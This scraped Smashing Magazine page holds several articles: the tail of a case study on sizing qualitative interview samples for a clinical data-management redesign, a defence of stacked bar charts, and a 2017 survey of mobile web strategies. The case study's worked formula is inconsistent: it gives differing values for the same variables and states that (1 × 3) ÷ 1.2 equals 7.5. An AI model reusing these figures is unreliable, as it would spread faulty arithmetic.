Suppose we are working with a client to conceptualize a redesign of their clinical data-management application. Researchers use clinical data-management applications to collect and store data from clinical trials. Clinical trials are studies that test the effectiveness of new medical treatments. The client wants us to identify areas to improve the design of their product and to increase use and reliability. We will conduct interviews up front to inform our design concepts.

Saturation Of Sample Size Link

We’ll request 12 interview participants based on the formula in this article. Below is how we’ve determined the value of each variable in the formula.

Scope: We are tasked with providing research-informed design concepts for an existing product. This project does not have a large scope. We are not inventing a new way to collect clinical data, but rather are improving an existing tool. The smaller scope justifies a smaller sample size.

  • S = 1
  • Characteristics: Our client identifies three specific user types:
    • study designers: users charged with building a study in the system.
    • data collectors: users who collect data from patients and enter data into the system.
    • study managers: users in charge of data collection and reporting for a project.
  • C= 3 × 3 user types
  • C = 9

Expertise: Let’s say our lead researcher has 10 years of research experience. Our team has experience with the type of project we are completing. We know exactly how much data we need and what to expect from interviewing 12 people.

  • E = .20

At this point, our formula is ((1 × 3) &div; 1.2) = 7.5 participants, before factoring in resources. We’ll round up to 8 participants.

Resources: We know the budget and time resources available. We know from past projects that we’ll have enough resources to conduct up to 15 interviews. We could divert more resources to design if we go with fewer than 15 participants. Adding 4 participants to our current number (8) won’t tax our resources and would allow us to speak to 4 of each user type.

  • R = 4

We recommend 12 research participants to our client, based on the formula for determining the proposed sample size:

  • Scope (S) - small scope - updating an existing product (S) = 1
  • Characteristics (C) - 3 user types (C) = 9
  • Expertise (E) - 10 years (E)= 1.20
  • Resources (R) - fine for up to 15 total participants (R) = +4
  • Our formula is ((SxC)/E) + R;
  • So, ((1x9)/1.2) + 4 = 12 participants for this study.

Saturation Of Data Analysis Link

We’ll set up a spreadsheet to manage the data we collect. Let’s set up the spreadsheet to first examine the data, with participants in rows and the questions in columns (table 1):

Table 1: Example of data analysis spreadsheet
What are some challenges with the system? Question 2 Question 3 Question 4
Participant 1 Protocol deviations can get lost or be misleading because they are not always clearly displayed. This would give too much control to the study coordinator role; they would be able to change too much. A tremendous amount of cleaning needs to get done.

Next, we add a second tab to the spreadsheet and created codes based on what emerged from the data (table 2):

Table 2: Example of codes spreadsheet
Code: Issues with study protocol (deviations) Code: Unreliable data Code 3 Code 4
Participant 1 There isn’t consistency looking at the same data. It gives too much control to the study coordinator role. They would be able to change too much. A tremendous amount of cleaning needs to get done.

Next, we review the data to identify relevant themes (table 3):

Table 3: Example of themes and quotes spreadsheet
Theme: “trust in the product” Theme 2 Theme 3 Theme 4
Coded quote and participant “I’m not sure if we are compliant.” – Participant 1
Quote and participant “It’s very configurable, but it’s configurable to the point that it’s unreliable and not predictable.” – Participant 2

Trust emerges as a theme almost immediately. Nearly every participant mentions a lack of trust in the system. The study designers tell us they don’t trust the lack of structure in creating a study; the clinical data collectors tell us they don’t trust the novice study designers; and the managers tell us they don’t trust the study’s design, the accuracy of the data collectors or the ability of the system to store and upload data with 100% accuracy.

Our design recommendations for the concepts focus on interactions and functionality to increase trust in the product.

Conclusion Link

Qualitative user researchers must support our reason for choosing a sample size. We may not be academic researchers, but we should strive for standards in how we determine sample sizes. Standards increase the rigor and integrity of our studies. I’ve provided a formula for helping to justify sample sizes.

We must also make sure to achieve data saturation. We do this by suggesting a reasonable sample size, by collecting data using sound questions and good interviewing techniques, and by thoroughly analyzing the data. Clients and colleagues will appreciate the transparency we provide when we show how we’ve determined our sample size and analyzed our data.

I’ve covered a case study demonstrating use of the formula I’ve proposed for determining qualitative research sample sizes. I’ve also discussed how to analyze data in order to reach data saturation.

We must continue moving forward the conversation on determining qualitative sample sizes. Please share other ideas you’ve encountered or used to determine sample sizes. What standards have you given clients or colleagues when asked how you’ve determined a sample size?

Additional Resources Link

(cc, yk, al, il)

Footnotes Link

  1. 1 https://www.smashingmagazine.com/2013/09/data-driven-design-in-the-real-world/
  2. 2 https://www.smashingmagazine.com/2015/03/conducting-user-research-in-brazil/
  3. 3 https://www.smashingmagazine.com/2014/11/how-to-run-user-tests-at-a-conference/
  4. 4 https://www.smashingmagazine.com/2017/03/using-social-media-user-research/
  5. 5 https://www.smashingmagazine.com/wp-content/uploads/2017/02/P1-Title-illustration-large-opt-1.png
  6. 6 http://www.brandonsax.com
  7. 7 https://www.smashingmagazine.com/wp-content/uploads/2017/02/P1-Title-illustration-large-opt-1.png
  8. 8 http://researchbydesign.com.au/publications/
  9. 9 https://www.smashingmagazine.com/wp-content/uploads/2017/02/P1-Scope-Illustration-large-opt-1.png
  10. 10 http://www.brandonsax.com
  11. 11 https://www.smashingmagazine.com/wp-content/uploads/2017/02/P1-Scope-Illustration-large-opt-1.png
  12. 12 https://play.google.com/store/books/details?id=jMfVyU8ida4C
  13. 13 https://www.smashingmagazine.com/wp-content/uploads/2017/02/P1-Expertise-Illustration-large-opt-1.png
  14. 14 http://www.brandonsax.com
  15. 15 https://www.smashingmagazine.com/wp-content/uploads/2017/02/P1-Expertise-Illustration-large-opt-1.png
  16. 16 https://www.smashingmagazine.com/wp-content/uploads/2017/02/P1-Data-Analysis-Illustration-large-opt-1.png
  17. 17 http://www.brandonsax.com
  18. 18 https://www.smashingmagazine.com/wp-content/uploads/2017/02/P1-Data-Analysis-Illustration-large-opt-1.png
  19. 19 http://tqr.nova.edu/wp-content/uploads/2015/09/fusch1.pdf
  20. 20 http://www.bath.ac.uk/sps/events/Documents/27_jan_2015_slides/julie_barnett.pdf
  21. 21 http://eprints.ncrm.ac.uk/2273/4/how_many_interviews.pdf
  22. 22 https://www.ncbi.nlm.nih.gov/pubmed/20204937
  23. 23 https://www.nngroup.com/articles/how-many-test-users/

↑ Back to topTweet itShare on Facebook

Understanding Stacked Bar Charts: The Worst Or The Best?

Understanding Stacked Bar Charts: The Worst Or The Best?

Data visualization has become an important part of our everyday life, allowing us to quickly assess information. And with so many chart types out there to choose from, it should be possible to effectively solve almost any task, whether it’s exploratory (i.e. researching and analyzing data to better understand it for yourself) or explanatory (i.e. reporting and communicating data to end users).

However, variety can also cause confusion, making it difficult to clearly understand the purpose of each form of data visualization. As a result, when an inappropriate type of chart is applied to data, the user not only might be confused by the information, but, more importantly, could make bad decisions based on such a presentation.

Today, we’ll talk about stacked bar charts, because — much to my surprise — I’ve recently learned these chart types can be real troublemakers.

Further Reading on SmashingMag: Link

Risk Of Confusion Link

As the number of chart types and approaches keeps growing, the things are getting worse, and sometimes even top experts get confused with identifying the goals of one chart type or another. One vivid example is Robert Kosara, senior research scientist at Tableau Software and former associate professor of computer science. In his blog post “Stacked Bar Charts Are the Worst5,” he calls stacked bar charts inconvenient, useless and even harmful. But is that really fair?

I’d say that stacked bar charts are undeservingly demonized in his article. The author simply seems to have fallen victim to a common misunderstanding of their real purpose. In fact, stacked bar charts are supposed to be used to compare total values across several categories and, at the same time, to identify which series is to “blame” for making one total bigger or perhaps smaller than another.

However, Kosara says they are the worst because they are useless for comparing series magnitudes in one or another certain category. Well, I agree: Stacked bar charts are really bad at that, and a regular multiseries bar chart would always seem to be a better choice. But that is not what they are supposed to be used for. It’s like using a hammer to change a lightbulb — you’ll just end up with a mess!

In this article, I’ll try to explain the real goals of visualizing data in regular and stacked bar charts and what exactly they should be used for. To get started, let’s look at a conventional bar chart.

Bar Charts: Simple Comparison Link

The main purpose of a bar chart is to compare individual data points with each other. It’s easy. Let’s look at regular vertical bar (also called column) charts.

Multiseries Bar Charts Link

6
(Large preview7) (See CodePen8)

This multiseries bar chart displays sales of each product within each sales strategy and helps us to answer the following questions:

  • Which strategy generated the most sales of every single product?
  • How did the products perform individually within a given strategy?

Of course, when these are the questions being asked, we need to compare values within every single series (sales of a certain product across all strategies) and within every single category (sales of each product within a certain strategy). With that said, let’s look into this example.

We can clearly see now that Product D was most successful in Strategy 4 and the least successful in Strategy 5.

9
(Large preview10) (See CodePen11)

We also see that the biggest sales within Strategy 1 are attributable to Product C, whereas Product D finished last, and Products A and B are almost identical.

12
(Large preview13) (See CodePen14)

With this example, we can quickly analyze all product-level differences, and that is what we use such bar charts for.

Single-Series Bar Charts Link

Now, what if we only want to see the overall sales for each strategy and then compare them with each other? We know that some products performed better or worse than others in each strategy, but which strategy resulted in the greatest total sales overall, with no regard to individual product performance?

To analyze only the differences between category totals, we simply add up the product values and represent them as columns in a single-series bar chart:c

15
(Large preview16) (See CodePen17)

This chart fully answers the question we asked. It is clear that the Strategy 2 was overall most effective and Strategy 5 was the least.

To conclude, these conventional bar charts have helped us:

  • compare products sales performance by strategy,
  • identify the difference between strategies in terms of overall total effectiveness.

So far, so good.

However, we can go further still and discover the relationships between what we noticed in the first (multiseries) and second (single-series) graphs in order to understand more deeply what actually happened. For this purpose, we need to plot both category totals and product-specific data on one stage, and this is where a stacked bar chart starts to shine.

Stacked Bar Charts: Totals Against Parts Link

18
(Large preview19) (See CodePen20)

We might also want to ask, “Why did Strategy X undermine the sales of one or another product?” Or, “What was the performance of a product within one strategy in relation to its sales within other strategies?” Great questions, but remember that stacked bar charts are not supposed to answer these or similar questions with that type of detail. Sorry, no superheroes here.

Stacked bar charts are designed to help you simultaneously compare totals and notice sharp changes at the item level that are likely to have the most influence on movements in category totals.

Looking at our stacked bar chart, we clearly see, for example, that Strategy 5 was the least effective overall, and this is mainly because sales from Product D were so much lower compared to the other strategies.

21
(Large preview22) (See CodePen23)

Take a moment to see what other insights our stacked bar chart provides by identifying other visually apparent relationships. In the meantime, let me stress that we cannot rely on this chart type to clarify absolutely all of the differences and contributions. Generally speaking, stacked bar charts are quite similar to sparklines in terms of usage: The main purpose of both types is to enable a better understanding of the big picture, without much focus on details such as light changes.

Of course, if you require deeper, more comprehensive or just different insights, then you’ll need to choose another chart type, one that will help you to answer your specific questions about your specific data.

Stacked Bar Charts Versus Combined Charts Link

I showed the first draft of this article to a couple of my colleagues. One of them wondered, “If you want to show both category totals and item-specific data at the same time, why not use a dual-axis graph with separate bars for each product and a line series for totals? Wouldn’t that be better than a stacked bar chart, because it will help you to understand all of the differences, including at the product level?”

It’s an interesting question. Let’s take a look.

While bringing all category totals into a separate line series with its own axis and then letting regular bars take care of the rest might sound appropriate, I don’t think so. Not to mention that I am not a big fan of dual-axis charts, at least when I have data and questions like these. But let’s check it out and you decide.

24
(Large preview25) (See CodePen26)

In this case, we can simultaneously see the totals and compare data points within a category. But the main issue is that this combined chart is actually harder to read, because the view is overloaded with columns, each attracting considerable attention, not to mention the line series with the second axis cluttering the view.

And things only get worse if we have a few more strategies, in this case just three more:

27
(Large preview28) (See CodePen29)

Large data sets are not uncommon, and while this one is far from large, I think you’ll agree that the eye gets lost in the presentation. As a matter of fact, we would have to spend too much time reading the combination of bar charts and line graph in both cases. So, when visualizing large amounts of data, we’d certainly be better off switching to another view, rather than piling up everything in one chart.

I think you’ll agree, a stacked bar chart seems to make more sense, even in this situation:

30
(Large preview31) (See CodePen32)

Conclusion Link

Now you’ve seen it with your own eager eyes. The stacked bar charts showcased in this article not only allow us to see the category totals first, but also get a rough yet helpful understanding of the item level within each category. As a result, they’ve clearly answered the questions asked:

  • Which strategies are better (and lead to higher sales)?
  • Which significant product-level leaps made one or another strategy more (or less) effective?

I hope you also agree that our stacked bar charts turned out to be concise and easy to read.

Please keep in mind that this chart type is very specific. Use it carefully and only when your questions and data fully correspond to the purposes it serves. For example, to compare item values more precisely and comprehensively, pick a conventional bar chart instead, because that is its purpose. However, I am sure you now share my feeling and experience: Stacked bar (column) charts are far from the “worst,” much less are they useless.

I will repeat myself and say that the main, strategic purpose of stacked bar charts is to help you assess the big picture at a glance, focusing on category totals and drastic series-level changes, and then let you decide what to research next if needed. Depending on the situation, you might find a better solution for other kinds of data and questions. However, stacked bar charts are often worthwhile and should be considered when the occasion demands.

I’ve made all of the chart illustrations from this article available on CodePen33 so you can explore them in detail, test your own data, and so on. You are also welcome to use Chartopedia34, a guide for choosing right chart types that I am currently building, to learn more about various data visualization methods and their purpose.

(al, vf, il)

Footnotes Link

  1. 1 https://www.smashingmagazine.com/2016/10/finding-better-mobile-analytics/
  2. 2 https://www.smashingmagazine.com/2015/03/fun-with-physics-in-data-visualization/
  3. 3 https://www.smashingmagazine.com/2014/08/responsive-web-design-google-analytics/
  4. 4 https://www.smashingmagazine.com/2011/09/create-an-animated-bar-graph-with-html-css-and-jquery/
  5. 5 http://eagereyes.org/techniques/stacked-bars-are-the-worst
  6. 6 https://www.smashingmagazine.com/wp-content/uploads/2017/03/1-Multi-series-bar-chart-800w-opt.png
  7. 7 https://www.smashingmagazine.com/wp-content/uploads/2017/03/1-Multi-series-bar-chart-large-opt.png
  8. 8 https://codepen.io/Radionov/pen/wzamqQ/
  9. 9 https://www.smashingmagazine.com/wp-content/uploads/2017/03/2-Compare-strategies-multi-series-bar-chart-large-opt.png
  10. 10 https://www.smashingmagazine.com/wp-content/uploads/2017/03/2-Compare-strategies-multi-series-bar-chart-large-opt.png
  11. 11 https://codepen.io/Radionov/pen/pEJLpz/
  12. 12 https://www.smashingmagazine.com/wp-content/uploads/2017/03/3-Compare-products-multi-series-bar-chart-large-opt.png
  13. 13 https://www.smashingmagazine.com/wp-content/uploads/2017/03/3-Compare-products-multi-series-bar-chart-large-opt.png
  14. 14 https://codepen.io/Radionov/pen/kkWEEr/
  15. 15 https://www.smashingmagazine.com/wp-content/uploads/2017/03/4-Single-series-bar-chart-large-opt.png
  16. 16 https://www.smashingmagazine.com/wp-content/uploads/2017/03/4-Single-series-bar-chart-large-opt.png
  17. 17 https://codepen.io/Radionov/pen/ALvZbo/
  18. 18 https://www.smashingmagazine.com/wp-content/uploads/2017/03/5-Stacked-bar-chart-large-opt.png
  19. 19 https://www.smashingmagazine.com/wp-content/uploads/2017/03/5-Stacked-bar-chart-large-opt.png
  20. 20 https://codepen.io/Radionov/pen/XjmAbB/
  21. 21 https://www.smashingmagazine.com/wp-content/uploads/2017/03/6-Strategy-total-in-stacked-bar-chart-large-opt.png
  22. 22 https://www.smashingmagazine.com/wp-content/uploads/2017/03/6-Strategy-total-in-stacked-bar-chart-large-opt.png
  23. 23 https://codepen.io/Radionov/pen/QKbZpj/
  24. 24 https://www.smashingmagazine.com/wp-content/uploads/2017/03/7-Combined-multi-series-bar-and-line-chart-large-opt.png
  25. 25 https://www.smashingmagazine.com/wp-content/uploads/2017/03/7-Combined-multi-series-bar-and-line-chart-large-opt.png
  26. 26 https://codepen.io/Radionov/pen/NRGKxp/
  27. 27 https://www.smashingmagazine.com/wp-content/uploads/2017/03/8-Combined-multi-series-bar-and-line-chart-for-large-data-set-large-opt.png
  28. 28 https://www.smashingmagazine.com/wp-content/uploads/2017/03/8-Combined-multi-series-bar-and-line-chart-for-large-data-set-large-opt.png
  29. 29 https://codepen.io/Radionov/pen/vXNBxO/
  30. 30 https://www.smashingmagazine.com/wp-content/uploads/2017/03/9-Stacked-bar-chart-final-large-opt.png
  31. 31 https://www.smashingmagazine.com/wp-content/uploads/2017/03/9-Stacked-bar-chart-final-large-opt.png
  32. 32 https://codepen.io/Radionov/pen/ALWARJ/
  33. 33 http://codepen.io/collection/XoLkMz/
  34. 34 http://www.anychart.com/chartopedia

↑ Back to topTweet itShare on Facebook

Building For Mobile: RWD, PWA, AMP Or Instant Articles?

Building For Mobile: RWD, PWA, AMP Or Instant Articles?

As we look deep into 2017, one of the questions on every web developer’s mind ought to be, “What trend will define the web in 2017?” Just three years ago, we were talking about the “Year of Responsive Web Design”, and we’ve all seen how the stakes were raised1 when Google announced Mobilegeddon (21 April 2015) and started to boost the rankings of mobile-friendly websites in mobile search results.

Today, as our findings indicate2, responsive web design is the norm, with 7 out of 10 mobile-optimized websites being responsive, up from 5 last year3, which begs the questions: What’s next? Where is it all heading? We solved the screen-size issue and had a great run for a few years — now what?

Further Reading on SmashingMag: Link4

Not long ago, having an application in an app store was considered the holy grail. To this day, a lot of companies still religiously follow the path to app store publishing. “Publish it and they will come,” “The web is dead,” they used to say!

According to recent studies9, just 26.4% of users who visit a page in an app store today will install an app. The other 73.6% are lost to the developer and don’t even try the app. Among the ones who install it, an average of 99% are lost in the following 90 days. As a consequence, the same people who declared the web dead years ago are now shouting, “Apps are dying” and “Wait! The web isn’t dead after all!”

This made us ask, Where is the mobile web heading? To answer this question, my colleagues and I at Appticles10 have conducted a colossal study on 10,000 publishing and e-commerce websites from Alexa11, scouting for signs of resurrection, and instead finding serious traces of diversification. Our findings are detailed below.

Responsive Websites Are Getting Taller And Fatter Link

According to Google’s guidelines, we have taken into consideration three types of configurations12 for building mobile websites:

13
  • Responsive web design

    Serve the same HTML code on the same URL, regardless of the user’s device. The display would render differently based on the screen’s size.
  • Dynamic serving (also known as adaptive)

    Use the same URL regardless of device, but generate HTML code dynamically by detecting the browser’s user agent.
  • Separate URLs (also known as mobile-friendly)

    Serve different code to each device class, with a separate web address for the mobile version.

To detect the mobile strategy used by different websites, we crawled them using an iPhone user agent and using the headless browser PhantomJS14 to detect JavaScript redirects.

On top of that, we also identified website owners who have implemented a smart app banner meta tag in the head of their home page, to market their iOS app:

<meta name="apple-itunes-app" content="app-id=myAppStoreID">

To analyze performance, we used Google’s PageSpeed Insights API, which takes into consideration not only the size of a web page, but also compression, server response time, browser caching and landing page redirects, among other factors.

All of the code used for this study is available for comments and contributions on GitHub15.

Here’s what we identified:

  • Responsive is the preferred technique for mobile optimization, used by 52% of all websites in the study.
  • The mobile-friendly approach (i.e. using a separate domain) has declined to 16% usage, from 26% in 201616.
  • Adaptive methods have stagnated at around 5%.
  • Still, 3 out of 10 websites are not mobile-optimized.
Mobile configuration distribution17
Mobile configuration distribution throughout 2016, as outlined by the study. (Source: Appticles.com18) (View large version19)

Comparing publishers (blogs, newspapers, magazines) with e-commerce websites resulted in some interesting variations in mobile web optimization:

  • 60% of websites in the blogging vertical use responsive design, whereas only 47% of websites in the newspaper vertical have adopted responsive techniques.

    Mobile configuration vs. segments20
    (View large version21)
  • The adaptive strategy has found the most followers in the e-commerce industry, with 9% of shopping websites being adaptive (compared to less than 5% among blogs, news websites and magazines).
  • The average mobile page height has increased to almost 10 screens (up from 7 last year22). Blogs have more than 90% of their home page content (dispersed over 13 screens) below the fold, while e-commerce websites do a better job of greeting the user with their most relevant content, with just 3 screens to encapsulate it.

    Height vs. page size23
    (View large version24)
  • As a consequence of tall mobile websites, blogs also have a weight issue, with the average mobile page weighing in at almost 7 MB. On the other hand, e-commerce websites have it under control at 3 MB.
  • If you think that just by designing responsively you’ll score better in Google’s PageSpeed Insights, think again! Take blogs: Although they’re designing responsively, they score an average of 40% in PageSpeed Insights, whereas e-commerce websites have an average of over 50%.

What these numbers show us is that mobile screen-size optimization is at its peak: New websites are responsive by default, and the majority of those that haven’t had a mobile presence have already made the switch. In other words, I think that the mobile web is nearing its potential in addressing the screen-size issue: 7 out of 10 websites have already implemented some form of mobile-friendly optimization, and this hasn’t grown significantly since last year25.

In addition, the trends seem to indicate that mobile websites are getting taller and fatter by the year. Is this what we envisioned for the mobile web when we started designing responsively? Because approximately 30% of the web is powered by WordPress26, I can’t help but suspect that the way WordPress themes are built is shaping the mobile web.

Smart App Banners Drive App Downloads But Not Retention Link

The banner that floats on your page when your website is viewed on a mobile device is an incredibly valuable tool for converting web traffic into app users. According to a study by Branch.io27, click-to-install rates are slightly higher on Android than on iOS (13.5% versus 11.9%), but the average is about 13%.

Smart app banners28
Examples of smart app banners usage in different applications. (Source: Branch.io29)

We discovered that 6.5% of news websites use smart app banners to notify mobile users of their apps, whereas all of the other verticals we analyzed (blogging, magazines and e-commerce) scored below 2% usage.

What’s interesting is that the majority of news websites that have been identified as using smart app banners are responsive. In other words, the strategy at play for news publishers (mostly newspapers) is to be where their readers are: both in app stores and on the mobile web.

The thinking behind maintaining both mobile channels and splitting the mobile audience is that (1) a responsive website would be the first contact that occasional mobile users have with the publisher, and (2) a dedicated application would make a lot of sense for loyal mobile users.

To put it differently, consider investing in an application for an app store when the mobile retention rate for your website is already high. Let’s look at some additional numbers that support this rule.

According to SimilarWeb’s “State of Mobile Web US 201530” report, roughly 56% of consumer traffic to the leading US websites is now from mobile devices. Given an average click-to-install rate of 13%, an online publisher using a smart app banner and inviting mobile users to install their application would succeed at converting a little over 7% of mobile traffic into app installations.

Data shows that losing 80% of mobile app users is the norm31. Mobile intelligence startup Quettra put together some exclusive data and graphs on retention rates, based on anonymized data points from over 125 million mobile phones, and showed that the average app loses 77% of its daily active users within the first 3 days of installation. Within 30 days, it has lost 90% of daily active users. Within 90 days, over 95%.

Based on our findings, it would appear that online publishers and stores have devised a strategy whereby their responsive websites act mostly as acquisition channels for their mobile apps. However, it’s easy to see how publishers end up investing tens of thousands of dollars, spending months developing and promoting their applications, converting a staggering 1.5% of their existing web traffic into mobile app users after 90 days.

The question then becomes, How do we engage mobile users and get them to use the app on a daily basis?

Accelerated Mobile Pages Outperform Facebook Instant Articles Link

Last year saw both Google and Facebook launch competing initiatives: Accelerated Mobile Pages (AMPs) and Instant Articles, respectively.

According to Google’s own reviews32, some 700,000 domains have published AMP pages, with real benefits to publishers, ranging from a higher return rate among users of mobile search to increased monthly unique visitors and impressions. This is indeed impressive, but we wanted to go beyond the vanity metrics and see the real percentage of websites that have implemented AMP.

After careful examination, we identified that approximately 10% of websites support AMP (close to the 11.6%33 identified in research conducted by Searchmetrics), whereas only a little over 2% have integrated Facebook’s Instant Articles. And though WordPress comes with plugins for both AMP and Instant Articles, it seems that in terms of active installations, AMP is leading 100,000 to 10,000.

We wanted to see how industry experts weigh the pros and cons of AMP and Instant Articles. The general consensus is summarized below:

Pros Cons
Google’s AMP Mobile content loads incredibly fast. Loading time is not a direct ranking factor for organic search results. There is some conjecture that faster-loading websites mean better click-through rates and longer time spent on website.
Mobile content for news websites appears in a special carousel at the top of organic search results. Using AMP involves some work. If your organization is strapped for resources, know that this is more than just flipping a switch.
One of the big ranking factors for mobile organic search results is mobile-friendliness, and you can’t get friendlier than AMP. Not all content works with AMP. For instance, if you have piles of video content, AMP will make the text load faster, but the video will still take a bit to load.
The click-through rate when a page is featured in Google’s “Top Stories” carousel is higher. Back in February 2016, Google pundit Jeff Jarvis stated, “The carousel layout may not always be there, so if that’s your big selling point, don’t get comfortable.”
It’s only for news and blog articles (at least for the moment).
Facebook’s Instant Articles The format enables publishers and content providers to instantly reach a built-in audience of millions when they include their content. The fact that it does not link over to a publisher’s website is a downside, but the benefits of adding content in a format like this are greater if you plan that content appropriately.
It creates an additional revenue stream. Overall revenue per user from Instant Articles might be lower than what publishers would make from ads that appear directly on their website.
Small publishers and content creators get a piece of the substantial time spent in apps, which would otherwise not be available. Integrating Instant Articles involves some work, especially to customize the look and feel of articles.

Because implementing AMP can bring more traffic from organic search results, it’s no wonder that it has become more popular than Instant Articles. Granted, the latter offers access to an additional revenue stream, but that comes at a price — giving up control over users, and giving up on converting them into subscribers.

Early Adopters Of Progressive Web Apps Report Exciting Metrics Link

A lot of attention has been paid to progressive web apps lately, and we wouldn’t miss the chance to analyze how many of the URLs we scrutinized support any of the main characteristics of progressive web apps:

  • HTTPS,
  • Offline mode,
  • Web push notifications,
  • “Add to home screen” prompts.

Progressive web apps are fully supported by Chrome and Opera. Firefox supports nearly all of their features. Microsoft Edge is working on them. The Samsung Internet browser has been making great strides this past year and has shown a strong commitment to progressive web apps, as demonstrated by Samsung’s leadership34 in some of the key standardization work. Apple has not yet fully jumped on the mobile web train: Service workers, a key component for supporting offline mode, are “under consideration”; push notifications and installation to the home screen through a browser-provided prompt are available in some form in Safari, but they are not implemented in standard ways.

This didn’t stop the Washington Post — an early adopter of progressive web app technology — from making it the default mobile experience for its web users after seeing “about 5x engagement35 — page views per visit, number of stories read” on its public-facing beta.

Before getting to the actual results, a few words on the methodology of obtaining the data. We used the Lighthouse36 extension for Chrome. It is an open-source, automated tool for improving the quality of web apps, and it can run as a Chrome extension or from the command line. We used the command line to conduct our study, and we interpreted the JSON that was returned.

First, we found that, of the 10,000 URLs we analyzed (blogs, newspapers, magazines and e-commerce websites), only about 12% support SSL. Not surprisingly, the e-commerce segment scored the highest (25%) in SSL usage. While this number is still low, it will drastically increase throughout 2017, because Google now favors HTTPS page indexing37, and Chrome will soon mark unsecure pages containing password and credit-card input fields as being “Not secure” in the URL bar38.

HTTP Not Secure39

Next, we looked at usage of the manifest.json file, which is considered a good indication that users will be prompted to add the website to their home screen via an app install banner40 (even though they can manually add it to their home screen from the browser’s menu).

As it turns out, 3% of e-commerce websites make use of the manifest file for web applications, with blogs and digital newspapers barely reaching 0.5%. HTTP/2 is also being used mostly on e-commerce websites, although the overall percentage is as low as 4%.

In identifying usage of service workers and push notifications, fewer than 1% show up in the statistics.

According to Google41:

Service workers enable a Progressive Web App to load instantly, regardless of the network state. A service worker is like a client-side proxy, written in JavaScript and puts developers in control of the cache and how to respond to resource requests. By pre-caching key resources, one can eliminate the dependence on the network, ensuring an instant and reliable experience for your users.

The fact that service workers are so poorly implemented on websites nowadays directly affects mobile user engagement, which is a shame because web push notifications reportedly increase engagement by four times, and those users spend twice as long on the websites. As an example, after rolling out its progressive web app, AliExpress improved its conversions for new users across all browsers by 104% and increased its iOS conversions by 82%, despite iOS not supporting the full feature set of progressive web apps.

Progressive web apps are barely seeing the light of day. However, with all of the benefits they promise, one can only hope that we’ll see more of them built in 2017.

Final Notes Link

The main conclusion is that we’re starting to see a more diversified mobile strategy from the publishing industry. No longer are they settling for an application in an app store or a responsive website as the only means of addressing their mobile users. Instead, they’re going for both apps and responsive websites and, in addition, are beginning to throw Facebook’s Instant Articles and Google’s Accelerated Mobile Pages into the mix.

Publishers are not leaving anything to chance. With four mobile channels in which to view for user attention, the quest will be not to find the best-performing channel, but rather to find a sustainable model, with all of the channels complementing each other, together increasing reach, engagement and, ultimately, revenue.

As for a “progressive” future of the mobile web, the early signs are encouraging. Progressive web apps boost mobile engagement for publishers and conversions for e-commerce websites. That’s why we, web developers and designers, should consider implementing them. The app store model is beginning to fail publishers42, and businesses are realizing that it’s no longer the holy grail they’ve been hoping for. We’re beginning to understand that we need to give the mobile web a chance to evolve, to progress beyond questions of format (i.e. fitting the screen) into the full-blown applications that until recently were only available natively via app stores.

(da, yk, al, il)

Footnotes Link

  1. 1 https://webmasters.googleblog.com/2015/04/rolling-out-mobile-friendly-update.html
  2. 2 #responsive-web-design
  3. 3 https://www.smashingmagazine.com/2016/03/googles-mobilegeddon-aftermath-eight-months-better-mobile-web/
  4. 4 https://www.smashingmagazine.com/2016/11/building-shaders-with-babylon-js/#further-reading-on-smashingmag
  5. 5 https://www.smashingmagazine.com/2016/03/googles-mobilegeddon-aftermath-eight-months-better-mobile-web/
  6. 6 https://www.smashingmagazine.com/2016/12/progressive-web-amps/
  7. 7 https://www.smashingmagazine.com/2016/08/a-beginners-guide-to-progressive-web-apps/
  8. 8 https://www.smashingmagazine.com/2015/09/why-performance-matters-the-perception-of-time/
  9. 9 https://splitmetrics.com/blog/whats-a-good-app-store-page-conversion-rate/
  10. 10 http://www.appticles.com
  11. 11 http://www.alexa.com
  12. 12 https://developers.google.com/webmasters/mobile-sites/mobile-seo/#select-config
  13. 13 https://www.smashingmagazine.com/wp-content/uploads/2017/03/google-table-preview-opt.jpg
  14. 14 http://phantomjs.org/
  15. 15 https://github.com/appticles/state-of-mobile-web
  16. 16 https://www.smashingmagazine.com/2016/03/googles-mobilegeddon-aftermath-eight-months-better-mobile-web/
  17. 17 https://www.smashingmagazine.com/wp-content/uploads/2017/03/mobile-configuration-distribution-large-opt.png
  18. 18 https://www.appticles.com
  19. 19 https://www.smashingmagazine.com/wp-content/uploads/2017/03/mobile-configuration-distribution-large-opt.png
  20. 20 https://www.smashingmagazine.com/wp-content/uploads/2017/03/mobile-configuration-distribution-across-segments-large-opt.png
  21. 21 https://www.smashingmagazine.com/wp-content/uploads/2017/03/mobile-configuration-distribution-across-segments-large-opt.png
  22. 22 https://www.smashingmagazine.com/2016/03/googles-mobilegeddon-aftermath-eight-months-better-mobile-web/
  23. 23 https://www.smashingmagazine.com/wp-content/uploads/2017/03/height-vs-page-size-large-opt.png
  24. 24 https://www.smashingmagazine.com/wp-content/uploads/2017/03/height-vs-page-size-large-opt.png
  25. 25 https://www.smashingmagazine.com/2016/03/googles-mobilegeddon-aftermath-eight-months-better-mobile-web/
  26. 26 https://w3techs.com/technologies/details/cm-wordpress/all/all
  27. 27 https://blog.branch.io/click-to-install-conversion-rates
  28. 28 https://www.smashingmagazine.com/wp-content/uploads/2017/03/smart-app-banners-screens-preview-opt.png
  29. 29 https://blog.branch.io
  30. 30 https://www.similarweb.com/corp/the-state-of-mobile-web-in-the-us-2015/
  31. 31 http://andrewchen.co/new-data-shows-why-losing-80-of-your-mobile-users-is-normal-and-that-the-best-apps-do-much-better/
  32. 32 https://amphtml.wordpress.com/2016/10/07/amp-a-year-in-review/
  33. 33 https://www.digitaldoughnut.com/articles/2016/july/how-accelerated-mobile-pages-amp-can-create-value
  34. 34 https://developers.google.com/web/shows/pwa-devsummit/amsterdam-2016/samsung-internets-progressive-web-app-commitment-progressive-web-app-summit-2016
  35. 35 http://www.beet.tv/2016/09/wapopwamarburger.html
  36. 36 https://developers.google.com/web/tools/lighthouse/
  37. 37 https://security.googleblog.com/2015/12/indexing-https-pages-by-default.html
  38. 38 https://security.googleblog.com/2016/09/moving-towards-more-secure-web.html
  39. 39 https://www.smashingmagazine.com/wp-content/uploads/2017/03/http-not-secure-preview-opt.png
  40. 40 https://developers.google.com/web/updates/2015/03/increasing-engagement-with-app-install-banners-in-chrome-for-android
  41. 41 https://developers.google.com/web/progressive-web-apps/
  42. 42 https://wpmobilepack.com/blog/wordpress-road-future-mobile-web-via-progressive-web-apps/

↑ Back to topTweet itShare on Facebook

Web Development Reading List #175: GraphQL, IndexedDB2, And An Open Ethical Internet

Web Development Reading List #175: GraphQL, IndexedDB2, And An Open Ethical Internet

